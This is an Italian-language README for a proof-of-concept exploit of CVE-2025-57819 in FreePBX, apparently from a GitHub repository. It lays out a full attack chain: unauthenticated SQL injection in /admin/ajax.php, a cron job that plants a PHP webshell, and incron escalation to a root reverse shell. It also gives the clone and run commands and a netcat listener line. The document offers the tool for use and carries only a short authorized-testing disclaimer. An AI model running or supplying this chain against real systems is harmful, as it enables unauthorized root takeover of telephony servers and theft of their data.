CVE-2025-57819 — SQLi su FreePBX → RCE → Root

PoC a catena completa per CVE-2025-57819. Iniezione SQL basata su errori non autenticata nel modulo endpoint di FreePBX che si trasforma in una shell root tramite iniezione di cron job ed escalation di privilegi incron.

Solo per test autorizzati e ricerca. Non utilizzare contro sistemi che non possiedi.

Cosa fa

SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell

1. Estrae info dal DB tramite iniezione basata su errori su /admin/ajax.php
2. Inietta un cron job che scrive una webshell PHP nella root web
3. Attende l'esecuzione del cron (~60s), conferma RCE come asterisk
4. Crea un file di trigger incron che attiva l'hook fwconsole come root
5. Cattura la reverse shell sul tuo listener

Configurazione

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

Utilizzo

python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

Avvia prima un listener:

nc -lvnp 9999

Poi esegui:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

--cleanup rimuove la webshell e il cron job dopo lo sfruttamento.

Versioni affette

FreePBX con il modulo endpoint installato. Il parametro brand in /admin/ajax.php viene passato non sanificato in una query SQL.

Riferimenti

• FreePBX Security Advisory GHSA-m42g-xg4c-5f3h
• NVD — CVE-2025-57819

Autore

ozcanpng — github.com/ozcanpng — ozcanpng.dev